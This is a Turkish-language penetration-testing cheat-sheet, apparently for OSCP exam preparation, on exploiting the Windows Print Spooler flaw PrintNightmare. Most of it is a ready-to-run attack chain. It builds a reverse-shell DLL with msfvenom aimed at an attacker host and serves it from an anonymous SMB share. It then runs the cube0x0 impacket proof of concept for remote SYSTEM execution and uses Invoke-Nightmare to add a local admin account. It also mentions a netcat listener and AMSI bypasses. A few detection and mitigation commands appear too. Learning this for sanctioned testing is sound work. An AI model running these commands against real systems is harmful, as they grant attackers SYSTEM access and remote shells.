FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta :135:139:445

PrintNightmare (CVE-2021-1675 / CVE-2021-34527) — Print Spooler LPE ve RCE

Windows Print Spooler servisindeki RpcAddPrinterDriverEx zafiyetiyle, kimliği doğrulanmış herhangi bir kullanicinin SYSTEM yetkisinde DLL yukleyip kod calistirmasi. Hem lokal (LPE) hem uzak (RCE) varyanti vardir; impacket ve PowerShell PoC'lariyla somurulur.

Bilgi: ÖN KOŞULLAR
  • Spooler servisi calisiyor (sc query spooler -> RUNNING)
  • Lokal varyant icin dusuk yetkili bir kullanici oturumu
  • Uzak varyant icin gecerli domain/lokal kimlik bilgisi (USER/PASS veya NTHASH) ve SMB erisimi
  • Yamasiz sistem (Haziran/Temmuz 2021 oncesi) ve PointAndPrint zafiyet konfigurasyonu
┌──

Komutlar

cmd ✓ EXAM-SAFE user
sc query spooler
Print Spooler servisinin calisip calismadigini kontrol et (RUNNING ise saldiri yuzeyi acik). HackTricks — PrintNightmare
reg ✓ EXAM-SAFE user
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
PointAndPrint politikasini sorgula; NoWarningNoElevationOnInstall=1 ise somuru olasiligi yuksek. HackTricks — PrintNightmare
netexec ✓ EXAM-SAFE user
netexec smb {{RHOST}} -u {{USER}} -p {{PASS}} -M printnightmare
NetExec modulu ile hedefin PrintNightmare'e karsi zafiyetli olup olmadigini uzaktan tespit et. NetExec Wiki — printnightmare module
rpcdump ✓ EXAM-SAFE user
impacket-rpcdump @{{RHOST}} | egrep -i 'MS-RPRN|MS-PAR'
MS-RPRN/MS-PAR print arayuzlerinin uzaktan erisilebilir olup olmadigini dogrula. HackTricks — PrintNightmare
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f dll -o /tmp/nightmare.dll
Spooler tarafindan yuklenecek SYSTEM payload DLL'ini olustur (payload uretimi OSCP'de serbest). HackTricks — PrintNightmare
smbserver ✓ EXAM-SAFE
impacket-smbserver share /tmp -smb2support
DLL'i sunmak icin anonim SMB paylasimi ac; PoC bu UNC yolundan driver'i cektirir. WADComs — Impacket smbserver
impacket ✓ EXAM-SAFE user
python3 CVE-2021-1675.py {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} '\\{{LHOST}}\share\nightmare.dll'
Cube0x0 impacket PoC ile uzak RCE; hedef SMB paylasimindaki DLL'i SYSTEM olarak yukler. cube0x0 — CVE-2021-1675 PoC (GitHub)
powershell ✓ EXAM-SAFE user
Import-Module .\CVE-2021-1675.ps1; Invoke-Nightmare -DriverName 'PrintMe' -NewUser 'pwn' -NewPassword 'Pwn123!'
Caleb Stewart/John Hammond PowerShell PoC ile lokal LPE; varsayilan olarak yerel admin grubuna kullanici ekler. calebstewart — CVE-2021-1675 (GitHub)
powershell ✓ EXAM-SAFE user
Import-Module .\CVE-2021-1675.ps1; Invoke-Nightmare -DLL 'C:\Temp\nightmare.dll'
Hazir bir SYSTEM DLL'i ile lokal somuru (kendi reverse shell payload'inizi yuklemek icin). calebstewart — CVE-2021-1675 (GitHub)
powershell ✓ EXAM-SAFE admin
Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled
Hafifletme/temizlik: Spooler servisini durdurup devre disi birakarak saldiri yuzeyini kapat. Microsoft — KB5005010 PrintNightmare guidance

Genel Bakis

PrintNightmare, Windows Print Spooler servisindeki RpcAddPrinterDriverEx fonksiyonunun yetki dogrulamasini hatali yapmasindan kaynaklanir. Kimligi dogrulanmis herhangi bir kullanici, spooler’a kotu niyetli bir yazici suruculusu (DLL) yuklettirerek bu kodun NT AUTHORITY\SYSTEM baglaminda calismasini saglar. Iki ilgili CVE vardir: CVE-2021-1675 (baslangicta sadece LPE olarak yamalandi) ve CVE-2021-34527 (RCE varyanti; ilk yama yetersiz kaldigi icin ayri kayit acildi).

Iki kullanim sekli onemlidir:

  • Lokal (LPE): Zaten dusuk yetkili bir shell’iniz var, SYSTEM’a yukseliyorsunuz.
  • Uzak (RCE): Gecerli bir domain/lokal kullanici kimligiyle ag uzerinden SMB+RPC araciligiyla hedefte SYSTEM kod calistiriyorsunuz.

Tespit / Enumeration

Ilk olarak Spooler’in calistigini dogrulayin (sc query spooler). Ardindan PointAndPrint registry anahtarlarini inceleyin; ozellikle:

  • NoWarningNoElevationOnInstall = 1
  • UpdatePromptSettings = 2 bu degerler somuruyu kolaylastirir. Uzaktan zafiyet tespiti icin impacket-rpcdump ile MS-RPRN ve MS-PAR arayuzlerinin acik olup olmadigini, ya da NetExec’in printnightmare modulunu kullanin. Yama durumu KB5005010/KB5004945 ve sonrasi ise sistem genelde korumalidir.

Somuru — Uzak (RCE)

Klasik akis: bir reverse shell DLL’i uretin, anonim SMB paylasiminda sunun, ardindan cube0x0 impacket PoC’una UNC yolunu verin. PoC, hedefin bu DLL’i yazici suruculu olarak yuklemesini saglar ve DLL SYSTEM olarak yuklenir. NTLM hash’iniz varsa parola yerine --hashes :{{NTHASH}} benzeri secenekle de calisir. Dinleyiciyi (nc -lvnp {{LPORT}} veya Metasploit multi/handler) onceden acmayi unutmayin.

Somuru — Lokal (LPE)

Kurbanda bir shell varsa calebstewart PowerShell PoC’u en pratigidir. Invoke-Nightmare varsayilan olarak yerel Administrators grubuna yeni bir kullanici ekler; istege bagli olarak -DLL parametresiyle kendi SYSTEM payload’inizi da yukleyebilirsiniz. AMSI engeli cikarsa scripti diskten calistirmak veya help-amsi sayfasindaki bypass yontemlerini degerlendirin.

OSCP Notlari ve Hafifletme

  • Payload uretimi (msfvenom) ve manuel PoC kullanimi sinav guvenlidir; otomatik Metasploit exploit modulleri sinirlamaya tabidir, bu yuzden manuel PoC’lari tercih edin.
  • Somuru sonrasi temizlik icin spooler servisini durdurup devre disi birakmak hem hafifletme hem de iz temizleme acisindan onemlidir.
  • Birden fazla deneme spooler’i cokertebilir; gerekirse Start-Service Spooler ile yeniden baslatin.
  • DLL adlandirmasi ve UNC yolundaki ters bolu (backslash) kacislarina dikkat edin; yanlis kacis somurunun sessizce basarisiz olmasina yol acar.
┌──

Kaynaklar

0/15 set